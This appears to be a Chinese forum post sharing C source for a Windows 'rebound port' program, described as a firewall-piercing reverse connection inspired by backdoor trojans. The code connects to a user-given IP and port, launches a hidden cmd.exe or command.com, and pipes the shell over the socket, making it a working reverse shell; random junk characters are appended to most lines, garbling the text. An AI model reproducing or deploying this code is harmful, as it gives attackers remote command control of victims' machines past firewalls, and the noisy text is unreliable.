这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q~OxH'>>(
U@HK+C"M|
/* ============================== Fgp]l2*
Rebound port in Windows NT C"!gZ8*\!9
By wind,2006/7 \!k1a^ZP
===============================*/ %5eY'
#include =osv3>&q
#include v-#Q7T
zbk q
#pragma comment(lib,"wsock32.lib") eCqHvMp
s!?`T1L
void OutputShell(); 1`(tf6op
SOCKET sClient; 6kNrYom
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {)BTR %t
{zn!vJX
void main(int argc,char **argv) jzDuE{
{ %/|9@e r
WSADATA stWsaData; yKa{08X:
int nRet; E7.2T^o;M
SOCKADDR_IN stSaiClient,stSaiServer; K? y[V1,
swK-/$#
if(argc != 3) (#Wu#F1;
{ qAn! Rk A
printf("Useage:\n\rRebound DestIP DestPort\n"); DVSL [p?_
return; P(H8[ ,
} te3}d'9&|
Nd$W0YN:
WSAStartup(MAKEWORD(2,2),&stWsaData); d/BM&r
~\Hc,5G
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CDP
U\ZG
) L#i%)+
stSaiClient.sin_family = AF_INET; IFF92VD&
stSaiClient.sin_port = htons(0); | N[<x@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y~q8pH1
{so`/EWa
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3BtaH#ZY
{ -Z 4e.ay5
printf("Bind Socket Failed!\n"); DNr@u/>vB
return; GBRa.;Kk
} a-=8xs'
U<DZ:ds?T
stSaiServer.sin_family = AF_INET; G LIi6
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \l9qt5rS
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (C@m Lu)
IOqwCD[
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3NqN\5B:
{ 2zs73:z
printf("Connect Error!"); M<kj_.
return; CF?1R
} ~N<4L>y<
OutputShell(); &e#~<Wm82
} DXJ`oh
uVJDne,R
void OutputShell() |wH5sjT
{ u~WVGjoQ
char szBuff[1024]; PH+S};Uxv
SECURITY_ATTRIBUTES stSecurityAttributes; BqD'8zLD
OSVERSIONINFO stOsversionInfo; }]lr>"~y}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L?WFmn
STARTUPINFO stStartupInfo; j4|N-:
char *szShell; @zU6t|mhz
PROCESS_INFORMATION stProcessInformation; ,
udTvI
unsigned long lBytesRead; i}.&0Fp
]G5w6&d
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _"bHe/'CI
=kJ,%\E`
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]yK7PH-{L
stSecurityAttributes.lpSecurityDescriptor = 0; =m!-m\B/
stSecurityAttributes.bInheritHandle = TRUE; J1,9kCO
caU0\VS
qU+t/C.
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qB~rQPa
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ap.K=-H
),0g~'I~D
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %P<hW+P!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ? E1<!~
stStartupInfo.wShowWindow = SW_HIDE; 3_ r*y9l
stStartupInfo.hStdInput = hReadPipe; RmI]1S_=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .I7pA5V{#
Tl%`P_J)-S
GetVersionEx(&stOsversionInfo); QiQ_bB!\
Vy6qbC-Kt
switch(stOsversionInfo.dwPlatformId) ,`|3KE9
{ i5en*)O8
case 1: l}a)ZeR1
szShell = "command.com"; riUwBiVa?2
break; ./-5R|fN
default: iIvc43YV%
szShell = "cmd.exe"; m!gz3u]rN
break; Cl5uS%g
} aAZZ8V
"~#3&3HVS
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &4 {KV.
#pT"BSz]
send(sClient,szMsg,77,0); ?5+.`L9H
while(1) viW!,QQ(S
{ 6o!!=}'E[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .?D7dyU l1
if(lBytesRead) X@'uy<tI-
{ +M./@U*g
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); SAH-p*.
send(sClient,szBuff,lBytesRead,0); 9`T)@Uj2n
} e|NG"<
else )#EGTRdo
{ &VhroHO
lBytesRead=recv(sClient,szBuff,1024,0); ++bf#qS<8D
if(lBytesRead<=0) break; p?{Xu4(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7G:s2432
} e
h&IPU S
} 4qphA9i1
7P%%p3
return; P!$Zx)T
}